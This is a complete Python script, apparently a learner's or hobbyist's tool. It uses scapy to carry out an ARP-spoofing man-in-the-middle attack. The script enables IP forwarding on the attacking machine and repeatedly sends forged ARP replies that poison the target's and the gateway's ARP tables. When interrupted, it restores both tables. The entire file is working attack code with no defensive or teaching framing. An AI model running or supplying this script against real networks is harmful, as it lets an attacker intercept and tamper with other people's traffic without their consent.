text: #!/usr/bin/env python3
  # arp_spoof.py
  # Goal -> Perform man-in-the-middle via ARP spoofing
  # steps: Craft Packets to Victim and Gateway
  #        Get MAC address for targets
  #        Keep sending packets until finished with attack
  #        Restore ARP tables of Victim and Gateway
  import argparse
  import time
  import subprocess
  import scapy.all as scapy
  
  
  def get_args():
      parser = argparse.ArgumentParser(description="ARP Spoofing: Man-in-the-middle")
      parser.add_argument("-t", "--target", dest="target_ip", help="Enter ip address of target")
      parser.add_argument("-g", "--gateway", dest="gateway_ip", help="Enter gateway ip address")
      parameters = parser.parse_args()
      if not parameters.target_ip:
          parser.error("[-] Please specify a Target IP address.")
          exit(1)
      if not parameters.gateway_ip:
          parser.error("[-] Please specify the Gateway IP address.")
          exit(1)
      return parameters
  
  
  def get_mac(ip):
      arp_request = scapy.ARP(pdst=ip)
      broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
      arp_request_broadcast = broadcast / arp_request
      answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
  
      return answered_list[0][1].hwsrc
  
  
  def spoof(target_ip, spoof_ip):
      target_mac = get_mac(target_ip)
      packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
      # scapy automatically adds attack machines MAC address
      # print(packet.show())
      # print(packet.summary())
      scapy.send(packet, verbose=False)
  
  
  def restore(destination_ip, source_ip):
      destination_mac = get_mac(destination_ip)
      source_mac = get_mac(source_ip)
      packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
      # added hwsrc to restore arp tables back to normal
      # print(packet.show())
      # print(packet.summary())
      scapy.send(packet, count=4, verbose=False)
  
  
  args = get_args()
  target_ip = args.target_ip
  gateway_ip = args.gateway_ip
  
  subprocess.run("echo 1 > /proc/sys/net/ipv4/ip_forward", shell=True)
  print("[+] IP Forwarding: Enabled.\n--------------------------------")
  
  print("[+] Running ARP Spoof ...\n--------------------------------")
  print("[+] Target:", target_ip)
  print("[+] Gateway:", gateway_ip, "\n--------------------------------")
  sent_packets_count = 0
  try:
      while True:
          spoof(target_ip, gateway_ip)
          spoof(gateway_ip, target_ip)
          sent_packets_count += 2
          print("\r[+] Total packets sent:", sent_packets_count, end='', flush=True)
          time.sleep(2)
  except KeyboardInterrupt:
      print("\n[-] Detected Ctrl+C -> Restoring ARP tables...")
      restore(target_ip, gateway_ip)
      print("[+] Target Restored.")
      restore(gateway_ip, target_ip)
      print("[+] Gateway Restored.")
      subprocess.run("echo 0 > /proc/sys/net/ipv4/ip_forward", shell=True)
      print("[-] IP Forwarding: Disabled.")
      print("[-] Quitting.")
  